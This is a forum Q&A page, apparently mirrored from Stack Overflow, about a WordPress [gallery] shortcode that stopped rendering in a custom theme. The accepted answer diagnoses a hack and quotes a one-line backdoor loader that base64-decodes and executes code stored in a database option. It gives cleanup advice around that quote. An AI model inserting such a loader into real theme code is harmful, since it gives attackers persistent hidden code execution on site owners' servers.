doushao8421 2015-07-07 11:28
浏览 35
已采纳

默认Wordpress [图库]未显示在自定义主题中

Everything was fine, until recent updates. [gallery] is not showing images anymore, and it also looks like it is not contained in code.

Here is the loop for page:

<?php
    // Start the loop.
    while ( have_posts() ) : the_post();?>
        <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
            <h1 class="entry-title"><?php the_title(); ?></h1>
                <div class="entry-content">
                    <?php the_content(); ?>
                </div><!-- .entry-content -->
        </article><!-- #post-<?php the_ID(); ?> -->
<?php   
    // End the loop.
    endwhile;
?>

Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).

And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)

  • 写回答

3条回答 默认 最新

  • dongtan5558 2015-08-04 00:25
    关注

    You're site got hacked.

    The last line of the pastebin is loading malicious code from your database: add_action('init', create_function('', implode(" ", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

    The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)

    You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.

    AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(2条)

报告相同问题?

悬赏问题

  • ¥15 安装TIA PortalV15.1报错
  • ¥15 能把水桶搬到饮水机的机械设计
  • ¥15 Android Studio中如何把H5逻辑放在Assets 文件夹中以实现将h5代码打包为apk
  • ¥15 使用小程序wx.createWebAudioContext()开发节拍器
  • ¥15 关于#爬虫#的问题:请问HMDB代谢物爬虫的那个工具可以提供一下吗
  • ¥15 vue3+electron打包获取本地视频属性,文件夹里面有ffprobe.exe 文件还会报错这是什么原因呢?
  • ¥20 用51单片机控制急停。
  • ¥15 孟德尔随机化结果不一致
  • ¥15 在使用pyecharts时出现问题
  • ¥50 怎么判断同步时序逻辑电路和异步时序逻辑电路